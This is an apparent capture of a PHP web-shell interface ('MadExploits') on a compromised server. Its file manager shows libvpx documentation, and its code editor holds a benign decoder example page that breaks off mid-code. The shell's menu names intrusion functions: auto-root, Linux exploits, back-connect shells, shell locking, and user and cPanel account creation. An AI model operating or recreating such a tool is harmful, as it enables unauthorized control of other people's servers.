Linux server.kiran-academy.com 3.10.0-1160.108.1.el7.x86_64 #1 SMP Thu Jan 25 16:17:31 UTC 2024 x86_64
Apache/2.4.57 (Unix) OpenSSL/1.0.2k-fips
: 194.233.91.196 | : 216.73.216.216
Cant Read [ /etc/named.conf ]
7.4.32
finalho
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
README
+ Create Folder
+ Create File
/
usr /
share /
doc /
libvpx-devel-1.3.0 /
html /
[ HOME SHELL ]
Name
Size
Permission
Action
annotated.html
7.42
KB
-rw-r--r--
bc_s.png
676
B
-rw-r--r--
bdwn.png
147
B
-rw-r--r--
changelog.html
25.93
KB
-rw-r--r--
classes.html
4.5
KB
-rw-r--r--
closed.png
132
B
-rw-r--r--
deprecated.html
2.43
KB
-rw-r--r--
dir_ce0ab26228883e873492c15423...
5.5
KB
-rw-r--r--
doxygen.css
23.29
KB
-rw-r--r--
doxygen.png
3.69
KB
-rw-r--r--
dynsections.js
2.91
KB
-rw-r--r--
example_decode_to_md5.html
35.53
KB
-rw-r--r--
example_decode_with_drops.html
37.85
KB
-rw-r--r--
example_error_resilient.html
42.17
KB
-rw-r--r--
example_force_keyframe.html
42.9
KB
-rw-r--r--
example_postproc.html
39.84
KB
-rw-r--r--
example_simple_decoder.html
39.83
KB
-rw-r--r--
example_simple_encoder.html
56.08
KB
-rw-r--r--
example_twopass_encoder.html
56.57
KB
-rw-r--r--
example_vp8_scalable_patterns....
146.9
KB
-rw-r--r--
example_vp8_set_maps.html
72.25
KB
-rw-r--r--
example_vp8cx_set_ref.html
51.75
KB
-rw-r--r--
example_vp9_spatial_scalable_e...
74.35
KB
-rw-r--r--
example_vpxdec.html
188.83
KB
-rw-r--r--
example_vpxenc.html
372.34
KB
-rw-r--r--
files.html
5.59
KB
-rw-r--r--
ftv2blank.png
86
B
-rw-r--r--
ftv2cl.png
453
B
-rw-r--r--
ftv2doc.png
746
B
-rw-r--r--
ftv2folderclosed.png
616
B
-rw-r--r--
ftv2folderopen.png
597
B
-rw-r--r--
ftv2lastnode.png
86
B
-rw-r--r--
ftv2link.png
746
B
-rw-r--r--
ftv2mlastnode.png
246
B
-rw-r--r--
ftv2mnode.png
246
B
-rw-r--r--
ftv2mo.png
403
B
-rw-r--r--
ftv2node.png
86
B
-rw-r--r--
ftv2ns.png
388
B
-rw-r--r--
ftv2plastnode.png
229
B
-rw-r--r--
ftv2pnode.png
229
B
-rw-r--r--
ftv2splitbar.png
314
B
-rw-r--r--
ftv2vertline.png
86
B
-rw-r--r--
functions.html
20
KB
-rw-r--r--
functions_vars.html
19.87
KB
-rw-r--r--
globals.html
3.21
KB
-rw-r--r--
globals_0x6d.html
3.21
KB
-rw-r--r--
globals_0x75.html
3.08
KB
-rw-r--r--
globals_0x76.html
33.53
KB
-rw-r--r--
globals_defs.html
12.01
KB
-rw-r--r--
globals_enum.html
4.06
KB
-rw-r--r--
globals_eval.html
14.96
KB
-rw-r--r--
globals_func.html
6.88
KB
-rw-r--r--
globals_type.html
6.43
KB
-rw-r--r--
group__cap__put__frame.html
7.36
KB
-rw-r--r--
group__cap__put__slice.html
7.81
KB
-rw-r--r--
group__cap__xma.html
13.24
KB
-rw-r--r--
group__codec.html
54.57
KB
-rw-r--r--
group__codecs.html
2.35
KB
-rw-r--r--
group__decoder.html
38.35
KB
-rw-r--r--
group__encoder.html
85.87
KB
-rw-r--r--
group__vp8.html
19.06
KB
-rw-r--r--
group__vp8__decoder.html
10.87
KB
-rw-r--r--
group__vp8__encoder.html
38.97
KB
-rw-r--r--
index.html
4.55
KB
-rw-r--r--
jquery.js
102.24
KB
-rw-r--r--
modules.html
5.18
KB
-rw-r--r--
nav_f.png
153
B
-rw-r--r--
nav_g.png
108
B
-rw-r--r--
nav_h.png
98
B
-rw-r--r--
open.png
123
B
-rw-r--r--
pages.html
8.1
KB
-rw-r--r--
readme.html
6.19
KB
-rw-r--r--
rfc2119.html
4.23
KB
-rw-r--r--
samples.html
3.86
KB
-rw-r--r--
structvp8__decrypt__init.html
4.81
KB
-rw-r--r--
structvp8__postproc__cfg.html
5.25
KB
-rw-r--r--
structvp9__ref__frame.html
4.49
KB
-rw-r--r--
structvpx__active__map.html
5.07
KB
-rw-r--r--
structvpx__codec__ctx.html
10.65
KB
-rw-r--r--
structvpx__codec__cx__pkt.html
15.26
KB
-rw-r--r--
structvpx__codec__dec__cfg.htm...
5.11
KB
-rw-r--r--
structvpx__codec__enc__cfg.htm...
46.48
KB
-rw-r--r--
structvpx__codec__mmap.html
8.13
KB
-rw-r--r--
structvpx__codec__stream__info...
5.96
KB
-rw-r--r--
structvpx__fixed__buf.html
4.38
KB
-rw-r--r--
structvpx__image.html
12.45
KB
-rw-r--r--
structvpx__image__rect.html
5.55
KB
-rw-r--r--
structvpx__rational.html
4.29
KB
-rw-r--r--
structvpx__ref__frame.html
4.65
KB
-rw-r--r--
structvpx__roi__map.html
7.13
KB
-rw-r--r--
structvpx__scaling__mode.html
4.74
KB
-rw-r--r--
structvpx__svc__parameters.htm...
9.95
KB
-rw-r--r--
sync_off.png
853
B
-rw-r--r--
sync_on.png
845
B
-rw-r--r--
tab_a.png
142
B
-rw-r--r--
tab_b.png
169
B
-rw-r--r--
tab_h.png
177
B
-rw-r--r--
tab_s.png
184
B
-rw-r--r--
tabs.css
1.14
KB
-rw-r--r--
todo.html
2.12
KB
-rw-r--r--
usage.html
11.39
KB
-rw-r--r--
usage_decode.html
6.44
KB
-rw-r--r--
usage_encode.html
2.52
KB
-rw-r--r--
usage_xma.html
7.87
KB
-rw-r--r--
vp8_8h.html
11.4
KB
-rw-r--r--
vp8_8h_source.html
29.94
KB
-rw-r--r--
vp8cx_8h.html
23.71
KB
-rw-r--r--
vp8cx_8h_source.html
62.87
KB
-rw-r--r--
vp8dx_8h.html
8.24
KB
-rw-r--r--
vp8dx_8h_source.html
18.06
KB
-rw-r--r--
vpx__codec_8h.html
33.45
KB
-rw-r--r--
vpx__codec_8h_source.html
60.18
KB
-rw-r--r--
vpx__decoder_8h.html
20.52
KB
-rw-r--r--
vpx__decoder_8h_source.html
29.71
KB
-rw-r--r--
vpx__encoder_8h.html
34.77
KB
-rw-r--r--
vpx__encoder_8h_source.html
75.43
KB
-rw-r--r--
vpx__image_8h.html
36.76
KB
-rw-r--r--
vpx__image_8h_source.html
49.56
KB
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : example_decode_with_drops.html
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <meta http-equiv="Content-Type" content="text/xhtml;charset=UTF-8"/> <meta http-equiv="X-UA-Compatible" content="IE=9"/> <meta name="generator" content="Doxygen 1.8.5"/> <title>WebM VP8 Codec SDK: decode_with_drops.c</title> <link href="tabs.css" rel="stylesheet" type="text/css"/> <script type="text/javascript" src="jquery.js"></script> <script type="text/javascript" src="dynsections.js"></script> <link href="doxygen.css" rel="stylesheet" type="text/css" /> </head> <body> <div id="top"><!-- do not remove this div, it is closed by doxygen! --> <div id="titlearea"> <table cellspacing="0" cellpadding="0"> <tbody> <tr style="height: 56px;"> <td style="padding-left: 0.5em;"> <div id="projectname">WebM VP8 Codec SDK </div> </td> </tr> </tbody> </table> </div> <!-- end header part --> <!-- Generated by Doxygen 1.8.5 --> <div id="navrow1" class="tabs"> <ul class="tablist"> <li><a href="index.html"><span>Main Page</span></a></li> <li class="current"><a href="pages.html"><span>Related Pages</span></a></li> <li><a href="modules.html"><span>Modules</span></a></li> <li><a href="annotated.html"><span>Data Structures</span></a></li> <li><a href="files.html"><span>Files</span></a></li> </ul> </div> <div id="nav-path" class="navpath"> <ul> <li class="navelem"><a class="el" href="samples.html">Sample Code</a></li> </ul> </div> </div><!-- top --> <div class="header"> <div class="headertitle"> <div class="title">decode_with_drops.c </div> </div> </div><!--header--> <div class="contents"> <div class="textblock"> <h1>Decode With Drops Example</h1> <p>This is an example utility which drops a series of frames, as specified on the command line. This is useful for observing the error recovery features of the codec.</p> <h2>Usage</h2> <p>This example adds a single argument to the <code>simple_decoder</code> example, which specifies the range or pattern of frames to drop. The parameter is parsed as follows:</p> <pre class="c"><span style="color: #b1b100;">if</span><span style="color: #009900;">(</span>argc<span style="color: #339933;">!=</span><span style="color: #0000dd;">4</span><span style="color: #009900;">)</span> die<span style="color: #009900;">(</span><span style="color: #ff0000;">"Usage: %s <infile> <outfile> <N-M|N/M><span style="color: #000099; font-weight: bold;">\n</span>"</span><span style="color: #339933;">,</span> argv<span style="color: #009900;">[</span><span style="color: #0000dd;">0</span><span style="color: #009900;">]</span><span style="color: #009900;">)</span><span style="color: #339933;">;</span> <span style="color: #009900;">{</span> <span style="color: #993333;">char</span> <span style="color: #339933;">*</span>nptr<span style="color: #339933;">;</span> n <span style="color: #339933;">=</span> strtol<span style="color: #009900;">(</span>argv<span style="color: #009900;">[</span><span style="color: #0000dd;">3</span><span style="color: #009900;">]</span><span style="color: #339933;">,</span> <span style="color: #339933;">&</span>nptr<span style="color: #339933;">,</span> <span style="color: #0000dd;">0</span><span style="color: #009900;">)</span><span style="color: #339933;">;</span> m <span style="color: #339933;">=</span> strtol<span style="color: #009900;">(</span>nptr<span style="color: #339933;">+</span><span style="color: #0000dd;">1</span><span style="color: #339933;">,</span> NULL<span style="color: #339933;">,</span> <span style="color: #0000dd;">0</span><span style="color: #009900;">)</span><span style="color: #339933;">;</span> is_range <span style="color: #339933;">=</span> <span style="color: #339933;">*</span>nptr <span style="color: #339933;">==</span> <span style="color: #ff0000;">'-'</span><span style="color: #339933;">;</span> <span style="color: #b1b100;">if</span><span style="color: #009900;">(</span><span style="color: #339933;">!</span>n <span style="color: #339933;">||</span> <span style="color: #339933;">!</span>m <span style="color: #339933;">||</span> <span style="color: #009900;">(</span><span style="color: #339933;">*</span>nptr <span style="color: #339933;">!=</span> <span style="color: #ff0000;">'-'</span> <span style="color: #339933;">&&</span> <span style="color: #339933;">*</span>nptr <span style="color: #339933;">!=</span> <span style="color: #ff0000;">'/'</span><span style="color: #009900;">)</span><span style="color: #009900;">)</span> die<span style="color: #009900;">(</span><span style="color: #ff0000;">"Couldn't parse pattern %s<span style="color: #000099; font-weight: bold;">\n</span>"</span><span style="color: #339933;">,</span> argv<span style="color: #009900;">[</span><span style="color: #0000dd;">3</span><span style="color: #009900;">]</span><span style="color: #009900;">)</span><span style="color: #339933;">;</span> <span style="color: #009900;">}</span></pre> <h2>Dropping A Range Of Frames</h2> <p>To drop a range of frames, specify the starting frame and the ending frame to drop, separated by a dash. The following command will drop frames 5 through 10 (base 1).</p> <p>$ ./decode_with_drops in.ivf out.i420 5-10</p> <h2>Dropping A Pattern Of Frames</h2> <p>To drop a pattern of frames, specify the number of frames to drop and the number of frames after which to repeat the pattern, separated by a forward-slash. The following command will drop 3 of 7 frames. Specifically, it will decode 4 frames, then drop 3 frames, and then repeat.</p> <p>$ ./decode_with_drops in.ivf out.i420 3/7</p> <h2>Extra Variables</h2> <p>This example maintains the pattern passed on the command line in the <code>n</code>, <code>m</code>, and <code>is_range</code> variables:</p> <pre class="c"><span style="color: #993333;">int</span> n<span style="color: #339933;">,</span> m<span style="color: #339933;">,</span> is_range<span style="color: #339933;">;</span></pre> <h2>Making The Drop Decision</h2> <p>The example decides whether to drop the frame based on the current frame number, immediately before decoding the frame.</p> <pre class="c"><span style="color: #b1b100;">if</span><span style="color: #009900;">(</span><span style="color: #009900;">(</span>is_range <span style="color: #339933;">&&</span> frame_cnt <span style="color: #339933;">>=</span> n <span style="color: #339933;">&&</span> frame_cnt <span style="color: #339933;"><=</span> m<span style="color: #009900;">)</span> <span style="color: #339933;">||</span><span style="color: #009900;">(</span><span style="color: #339933;">!</span>is_range <span style="color: #339933;">&&</span> m <span style="color: #339933;">-</span> <span style="color: #009900;">(</span>frame_cnt<span style="color: #339933;">-</span><span style="color: #0000dd;">1</span><span style="color: #009900;">)</span><span style="color: #339933;">%</span>m <span style="color: #339933;"><=</span> n<span style="color: #009900;">)</span><span style="color: #009900;">)</span> <span style="color: #009900;">{</span> putc<span style="color: #009900;">(</span><span style="color: #ff0000;">'X'</span><span style="color: #339933;">,</span> stdout<span style="color: #009900;">)</span><span style="color: #339933;">;</span> <span style="color: #b1b100;">continue</span><span style="color: #339933;">;</span> <span style="color: #009900;">}</span> putc<span style="color: #009900;">(</span><span style="color: #ff0000;">'.'</span><span style="color: #339933;">,</span> stdout<span style="color: #009900;">)</span><span style="color: #339933;">;</span> fflush<span style="color: #009900;">(</span>stdout<span style="color: #009900;">)</span><span style="color: #339933;">;</span></pre> <h1>Putting It All Together</h1> <pre class="c"><span style="color: #808080; font-style: italic;">/* Copyright (c) 2010 The WebM project authors. All Rights Reserved. Use of this source code is governed by a BSD-style license that can be found in the LICENSE file in the root of the source tree. An additional intellectual property rights grant can be found in the file PATENTS. All contributing project authors may be found in the AUTHORS file in the root of the source tree. */</span> <span style="color: #808080; font-style: italic;">/* This is an example utility which drops a series of frames, as specified on the command line. This is useful for observing the error recovery features of the codec. */</span> <span style="color: #339933;">#include <stdarg.h></span> <span style="color: #339933;">#include <stdio.h></span> <span style="color: #339933;">#include <stdlib.h></span> <span style="color: #339933;">#include <string.h></span> <span style="color: #339933;">#define VPX_CODEC_DISABLE_COMPAT 1</span> <span style="color: #339933;">#include "./vpx_config.h"</span> <span style="color: #339933;">#include "vpx/vp8dx.h"</span> <span style="color: #339933;">#include "vpx/vpx_decoder.h"</span> <span style="color: #339933;">#define interface (vpx_codec_vp8_dx())</span> <span style="color: #339933;">#define IVF_FILE_HDR_SZ (32)</span> <span style="color: #339933;">#define IVF_FRAME_HDR_SZ (12)</span> <span style="color: #993333;">static</span> <span style="color: #993333;">unsigned</span> <span style="color: #993333;">int</span> mem_get_le32<span style="color: #009900;">(</span><span style="color: #993333;">const</span> <span style="color: #993333;">unsigned</span> <span style="color: #993333;">char</span> <span style="color: #339933;">*</span>mem<span style="color: #009900;">)</span> <span style="color: #009900;">{</span> <span style="color: #b1b100;">return</span> <span style="color: #009900;">(</span>mem<span style="color: #009900;">[</span><span style="color: #0000dd;">3</span><span style="color: #009900;">]</span> <span style="color: #339933;"><<</span> <span style="color: #0000dd;">24</span><span style="color: #009900;">)</span><span style="color: #339933;">|</span><span style="color: #009900;">(</span>mem<span style="color: #009900;">[</span><span style="color: #0000dd;">2</span><span style="color: #009900;">]</span> <span style="color: #339933;"><<</span> <span style="color: #0000dd;">16</span><span style="color: #009900;">)</span><span style="color: #339933;">|</span><span style="color: #009900;">(</span>mem<span style="color: #009900;">[</span><span style="color: #0000dd;">1</span><span style="color: #009900;">]</span> <span style="color: #339933;"><<</span> <span style="color: #0000dd;">8</span><span style="color: #009900;">)</span><span style="color: #339933;">|</span><span style="color: #009900;">(</span>mem<span style="color: #009900;">[</span><span style="color: #0000dd;">0</span><span style="color: #009900;">]</span><span style="color: #009900;">)</span><span style="color: #339933;">;</span> <span style="color: #009900;">}</span> <span style="color: #993333;">static</span> <span style="color: #993333;">void</span> die<span style="color: #009900;">(</span><span style="color: #993333;">const</span> <span style="color: #993333;">char</span> <span style="color: #339933;">*</span>fmt<span style="color: #339933;">,</span> ...<span style="color: #009900;">)</span> <span style="color: #009900;">{</span> va_list ap<span style="color: #339933;">;</span> va_start<span style="color: #009900;">(</span>ap<span style="color: #339933;">,</span> fmt<span style="color: #009900;">)</span><span style="color: #339933;">;</span> vprintf<span style="color: #009900;">(</span>fmt<span style="color: #339933;">,</span> ap<span style="color: #009900;">)</span><span style="color: #339933;">;</span> <span style="color: #b1b100;">if</span><span style="color: #009900;">(</span>fmt<span style="color: #009900;">[</span>strlen<span style="color: #009900;">(</span>fmt<span style="color: #009900;">)</span><span style="color: #339933;">-</span><span style="color: #0000dd;">1</span><span style="color: #009900;">]</span> <span style="color: #339933;">!=</span> <span style="color: #ff0000;">'<span style="color: #000099; font-weight: bold;">\n</span>'</span><span style="color: #009900;">)</span> <a href="http://www.opengroup.org/onlinepubs/009695399/functions/printf.html"><span style="color: #000066;">printf</span></a><span style="color: #009900;">(</span><span style="color: #ff0000;">"<span style="color: #000099; font-weight: bold;">\n</span>"</span><span style="color: #009900;">)</span><span style="color: #339933;">;</span> exit<span style="color: #009900;">(</span>EXIT_FAILURE<span style="color: #009900;">)</span><span style="color: #339933;">;</span> <span style="color: #009900;">}</span> <span style="color: #993333;">static</span> <span style="color: #993333;">void</span> die_codec<span style="color: #009900;">(</span>vpx_codec_ctx_t <span style="color: #339933;">*</span>ctx<span style="color: #339933;">,</span> <span style="color: #993333;">const</span> <span style="color: #993333;">char</span> <span style="color: #339933;">*</span>s<span style="color: #009900;">)</span> <span style="color: #009900;">{</span> <span style="color: #993333;">const</span> <span style="color: #993333;">char</span> <span style="color: #339933;">*</span>detail <span style="color: #339933;">=</span> vpx_codec_error_detail<span style="color: #009900;">(</span>ctx<span style="color: #009900;">)</span><span style="color: #339933;">;</span> <a href="http://www.opengroup.org/onlinepubs/009695399/functions/printf.html"><span style="color: #000066;">printf</span></a><span style="color: #009900;">(</span><span style="color: #ff0000;">"%s: %s<span style="color: #000099; font-weight: bold;">\n</span>"</span><span style="color: #339933;">,</span> s<span style="color: #339933;">,</span> vpx_codec_error<span style="color: #009900;">(</span>ctx<span style="color: #009900;">)</span><span style="color: #009900;">)</span><span style="color: #339933;">;</span> <span style="color: #b1b100;">if</span><span style="color: #009900;">(</span>detail<span style="color: #009900;">)</span> <a href="http://www.opengroup.org/onlinepubs/009695399/functions/printf.html"><span style="color: #000066;">printf</span></a><span style="color: #009900;">(</span><span style="color: #ff0000;">" %s<span style="color: #000099; font-weight: bold;">\n</span>"</span><span style="color: #339933;">,</span>detail<span style="color: #009900;">)</span><span style="color: #339933;">;</span> exit<span style="color: #009900;">(</span>EXIT_FAILURE<span style="color: #009900;">)</span><span style="color: #339933;">;</span> <span style="color: #009900;">}</span> <span style="color: #993333;">int</span> main<span style="color: #009900;">(</span><span style="color: #993333;">int</span> argc<span style="color: #339933;">,</span> <span style="color: #993333;">char</span> <span style="color: #339933;">**</span>argv<span style="color: #009900;">)</span> <span style="color: #009900;">{</span> FILE <span style="color: #339933;">*</span>infile<span style="color: #339933;">,</span> <span style="color: #339933;">*</span>outfile<span style="color: #339933;">;</span> vpx_codec_ctx_t codec<span style="color: #339933;">;</span> <span style="color: #993333;">int</span> flags <span style="color: #339933;">=</span> <span style="color: #0000dd;">0</span><span style="color: #339933;">,</span> frame_cnt <span style="color: #339933;">=</span> <span style="color: #0000dd;">0</span><span style="color: #339933;">;</span> <span style="color: #993333;">unsigned</span> <span style="color: #993333;">char</span> file_hdr<span style="color: #009900;">[</span>IVF_FILE_HDR_SZ<span style="color: #009900;">]</span><span style="color: #339933;">;</span> <span style="color: #993333;">unsigned</span> <span style="color: #993333;">char</span> frame_hdr<span style="color: #009900;">[</span>IVF_FRAME_HDR_SZ<span style="color: #009900;">]</span><span style="color: #339933;">;</span> <span style="color: #993333;">unsigned</span> <span style="color: #993333;">char</span> frame<span style="color: #009900;">[</span><span style="color: #0000dd;">256</span><span style="color: #339933;">*</span><span style="color: #0000dd;">1024</span><span style="color: #009900;">]</span><span style="color: #339933;">;</span> vpx_codec_err_t res<span style="color: #339933;">;</span> <span style="color: #993333;">int</span> n<span style="color: #339933;">,</span> m<span style="color: #339933;">,</span> is_range<span style="color: #339933;">;</span> <span style="color: #666666; font-style: italic;">//</span> <span style="color: #009900;">(</span><span style="color: #993333;">void</span><span style="color: #009900;">)</span>res<span style="color: #339933;">;</span> <span style="color: #808080; font-style: italic;">/* Open files */</span> <span style="color: #b1b100;">if</span><span style="color: #009900;">(</span>argc<span style="color: #339933;">!=</span><span style="color: #0000dd;">4</span><span style="color: #009900;">)</span> <span style="color: #666666; font-style: italic;">//</span> die<span style="color: #009900;">(</span><span style="color: #ff0000;">"Usage: %s <infile> <outfile> <N-M|N/M><span style="color: #000099; font-weight: bold;">\n</span>"</span><span style="color: #339933;">,</span> argv<span style="color: #009900;">[</span><span style="color: #0000dd;">0</span><span style="color: #009900;">]</span><span style="color: #009900;">)</span><span style="color: #339933;">;</span> <span style="color: #666666; font-style: italic;">//</span> <span style="color: #009900;">{</span> <span style="color: #666666; font-style: italic;">//</span> <span style="color: #993333;">char</span> <span style="color: #339933;">*</span>nptr<span style="color: #339933;">;</span> <span style="color: #666666; font-style: italic;">//</span> n <span style="color: #339933;">=</span> strtol<span style="color: #009900;">(</span>argv<span style="color: #009900;">[</span><span style="color: #0000dd;">3</span><span style="color: #009900;">]</span><span style="color: #339933;">,</span> <span style="color: #339933;">&</span>nptr<span style="color: #339933;">,</span> <span style="color: #0000dd;">0</span><span style="color: #009900;">)</span><span style="color: #339933;">;</span> <span style="color: #666666; font-style: italic;">//</span> m <span style="color: #339933;">=</span> strtol<span style="color: #009900;">(</span>nptr<span style="color: #339933;">+</span><span style="color: #0000dd;">1</span><span style="color: #339933;">,</span> NULL<span style="color: #339933;">,</span> <span style="color: #0000dd;">0</span><span style="color: #009900;">)</span><span style="color: #339933;">;</span> <span style="color: #666666; font-style: italic;">//</span> is_range <span style="color: #339933;">=</span> <span style="color: #339933;">*</span>nptr <span style="color: #339933;">==</span> <span style="color: #ff0000;">'-'</span><span style="color: #339933;">;</span> <span style="color: #666666; font-style: italic;">//</span> <span style="color: #b1b100;">if</span><span style="color: #009900;">(</span><span style="color: #339933;">!</span>n <span style="color: #339933;">||</span> <span style="color: #339933;">!</span>m <span style="color: #339933;">||</span> <span style="color: #009900;">(</span><span style="color: #339933;">*</span>nptr <span style="color: #339933;">!=</span> <span style="color: #ff0000;">'-'</span> <span style="color: #339933;">&&</span> <span style="color: #339933;">*</span>nptr <span style="color: #339933;">!=</span> <span style="color: #ff0000;">'/'</span><span style="color: #009900;">)</span><span style="color: #009900;">)</span> <span style="color: #666666; font-style: italic;">//</span> die<span style="color: #009900;">(</span><span style="color: #ff0000;">"Couldn't parse pattern %s<span style="color: #000099; font-weight: bold;">\n</span>"</span><span style="color: #339933;">,</span> argv<span style="color: #009900;">[</span><span style="color: #0000dd;">3</span><span style="color: #009900;">]</span><span style="color: #009900;">)</span><span style="color: #339933;">;</span> <span style="color: #666666; font-style: italic;">//</span> <span style="color: #009900;">}</span> <span style="color: #666666; font-style: italic;">//</span> <span style="color: #b1b100;">if</span><span style="color: #009900;">(</span><span style="color: #339933;">!</span><span style="color: #009900;">(</span>infile <span style="color: #339933;">=</span> fopen<span style="color: #009900;">(</span>argv<span style="color: #009900;">[</span><span style="color: #0000dd;">1</span><span style="color: #009900;">]</span><span style="color: #339933;">,</span> <span style="color: #ff0000;">"rb"</span><span style="color: #009900;">)</span><span style="color: #009900;">)</span><span style="color: #009900;">)</span> die<span style="color: #009900;">(</span><span style="color: #ff0000;">"Failed to open %s for reading"</span><span style="color: #339933;">,</span> argv<span style="color: #009900;">[</span><span style="color: #0000dd;">1</span><span style="color: #009900;">]</span><span style="color: #009900;">)</span><span style="color: #339933;">;</span> <span style="color: #b1b100;">if</span><span style="color: #009900;">(</span><span style="color: #339933;">!</span><span style="color: #009900;">(</span>outfile <span style="color: #339933;">=</span> fopen<span style="color: #009900;">(</span>argv<span style="color: #009900;">[</span><span style="color: #0000dd;">2</span><span style="color: #009900;">]</span><span style="color: #339933;">,</span> <span style="color: #ff0000;">"wb"</span><span style="color: #009900;">)</span><span style="color: #009900;">)</span><span style="color: #009900;">)</span> die<span style="color: #009900;">(</span><span style="color: #ff0000;">"Failed to open %s for writing"</span><span style="color: #339933;">,</span> argv<span style="color: #009900;">[</span><span style="color: #0000dd;">2</span><span style="color: #009900;">]</span><span style="color: #009900;">)</span><span style="color: #339933;">;</span> <span style="color: #808080; font-style: italic;">/* Read file header */</span> <span style="color: #b1b100;">if</span><span style="color: #009900;">(</span><span style="color: #339933;">!</span><span style="color: #009900;">(</span>fread<span style="color: #009900;">(</span>file_hdr<span style="color: #339933;">,</span> <span style="color: #0000dd;">1</span><span style="color: #339933;">,</span> IVF_FILE_HDR_SZ<span style="color: #339933;">,</span> infile<span style="color: #009900;">)</span> <span style="color: #339933;">==</span> IVF_FILE_HDR_SZ <span style="color: #339933;">&&</span> file_hdr<span style="color: #009900;">[</span><span style="color: #0000dd;">0</span><span style="color: #009900;">]</span><span style="color: #339933;">==</span><span style="color: #ff0000;">'D'</span> <span style="color: #339933;">&&</span> file_hdr<span style="color: #009900;">[</span><span style="color: #0000dd;">1</span><span style="color: #009900;">]</span><span style="color: #339933;">==</span><span style="color: #ff0000;">'K'</span> <span style="color: #339933;">&&</span> file_hdr<span style="color: #009900;">[</span><span style="color: #0000dd;">2</span><span style="color: #009900;">]</span><span style="color: #339933;">==</span><span style="color: #ff0000;">'I'</span> <span style="color: #339933;">&&</span> file_hdr<span style="color: #009900;">[</span><span style="color: #0000dd;">3</span><span style="color: #009900;">]</span><span style="color: #339933;">==</span><span style="color: #ff0000;">'F'</span><span style="color: #009900;">)</span><span style="color: #009900;">)</span> die<span style="color: #009900;">(</span><span style="color: #ff0000;">"%s is not an IVF file."</span><span style="color: #339933;">,</span> argv<span style="color: #009900;">[</span><span style="color: #0000dd;">1</span><span style="color: #009900;">]</span><span style="color: #009900;">)</span><span style="color: #339933;">;</span> <a href="http://www.opengroup.org/onlinepubs/009695399/functions/printf.html"><span style="color: #000066;">printf</span></a><span style="color: #009900;">(</span><span style="color: #ff0000;">"Using %s<span style="color: #000099; font-weight: bold;">\n</span>"</span><span style="color: #339933;">,</span>vpx_codec_iface_name<span style="color: #009900;">(</span>interface<span style="color: #009900;">)</span><span style="color: #009900;">)</span><span style="color: #339933;">;</span> <span style="color: #808080; font-style: italic;">/* Initialize codec */</span> <span style="color: #b1b100;">if</span><span style="color: #009900;">(</span>vpx_codec_dec_init<span style="color: #009900;">(</span><span style="color: #339933;">&</span>codec<span style="color: #339933;">,</span> interface<span style="color: #339933;">,</span> NULL<span style="color: #339933;">,</span> flags<span style="color: #009900;">)</span><span style="color: #009900;">)</span> die_codec<span style="color: #009900;">(</span><span style="color: #339933;">&</span>codec<span style="color: #339933;">,</span> <span style="color: #ff0000;">"Failed to initialize decoder"</span><span style="color: #009900;">)</span><span style="color: #339933;">;</span> <span style="color: #808080; font-style: italic;">/* Read each frame */</span> <span style="color: #b1b100;">while</span><span style="color: #009900;">(</span>fread<span style="color: #009900;">(</span>frame_hdr<span style="color: #339933;">,</span> <span style="color: #0000dd;">1</span><span style="color: #339933;">,</span> IVF_FRAME_HDR_SZ<span style="color: #339933;">,</span> infile<span style="color: #009900;">)</span> <span style="color: #339933;">==</span> IVF_FRAME_HDR_SZ<span style="color: #009900;">)</span> <span style="color: #009900;">{</span> <span style="color: #993333;">int</span> frame_sz <span style="color: #339933;">=</span> mem_get_le32<span style="color: #009900;">(</span>frame_hdr<span style="color: #009900;">)</span><span style="color: #339933;">;</span> vpx_codec_iter_t iter <span style="color: #339933;">=</span> NULL<span style="color: #339933;">;</span> vpx_image_t <span style="color: #339933;">*</span>img<span style="color: #339933;">;</span> frame_cnt<span style="color: #339933;">++;</span> <span style="color: #b1b100;">if</span><span style="color: #009900;">(</span>frame_sz <span style="color: #339933;">></span> <span style="color: #993333;">sizeof</span><span style="color: #009900;">(</span>frame<span style="color: #009900;">)</span><span style="color: #009900;">)</span> die<span style="color: #009900;">(</span><span style="color: #ff0000;">"Frame %d data too big for example code buffer"</span><span style="color: #339933;">,</span> frame_sz<span style="color: #009900;">)</span><span style="color: #339933;">;</span> <span style="color: #b1b100;">if</span><span style="color: #009900;">(</span>fread<span style="color: #009900;">(</span>frame<span style="color: #339933;">,</span> <span style="color: #0000dd;">1</span><span style="color: #339933;">,</span> frame_sz<span style="color: #339933;">,</span> infile<span style="color: #009900;">)</span> <span style="color: #339933;">!=</span> frame_sz<span style="color: #009900;">)</span> die<span style="color: #009900;">(</span><span style="color: #ff0000;">"Frame %d failed to read complete frame"</span><span style="color: #339933;">,</span> frame_cnt<span style="color: #009900;">)</span><span style="color: #339933;">;</span> <span style="color: #b1b100;">if</span><span style="color: #009900;">(</span><span style="color: #009900;">(</span>is_range <span style="color: #339933;">&&</span> frame_cnt <span style="color: #339933;">>=</span> n <span style="color: #339933;">&&</span> frame_cnt <span style="color: #339933;"><=</span> m<span style="color: #009900;">)</span> <span style="color: #666666; font-style: italic;">//</span> <span style="color: #339933;">||</span><span style="color: #009900;">(</span><span style="color: #339933;">!</span>is_range <span style="color: #339933;">&&</span> m <span style="color: #339933;">-</span> <span style="color: #009900;">(</span>frame_cnt<span style="color: #339933;">-</span><span style="color: #0000dd;">1</span><span style="color: #009900;">)</span><span style="color: #339933;">%</span>m <span style="color: #339933;"><=</span> n<span style="color: #009900;">)</span><span style="color: #009900;">)</span> <span style="color: #009900;">{</span> <span style="color: #666666; font-style: italic;">//</span> putc<span style="color: #009900;">(</span><span style="color: #ff0000;">'X'</span><span style="color: #339933;">,</span> stdout<span style="color: #009900;">)</span><span style="color: #339933;">;</span> <span style="color: #666666; font-style: italic;">//</span> <span style="color: #b1b100;">continue</span><span style="color: #339933;">;</span> <span style="color: #666666; font-style: italic;">//</span> <span style="color: #009900;">}</span> <span style="color: #666666; font-style: italic;">//</span> putc<span style="color: #009900;">(</span><span style="color: #ff0000;">'.'</span><span style="color: #339933;">,</span> stdout<span style="color: #009900;">)</span><span style="color: #339933;">;</span> <span style="color: #666666; font-style: italic;">//</span> fflush<span style="color: 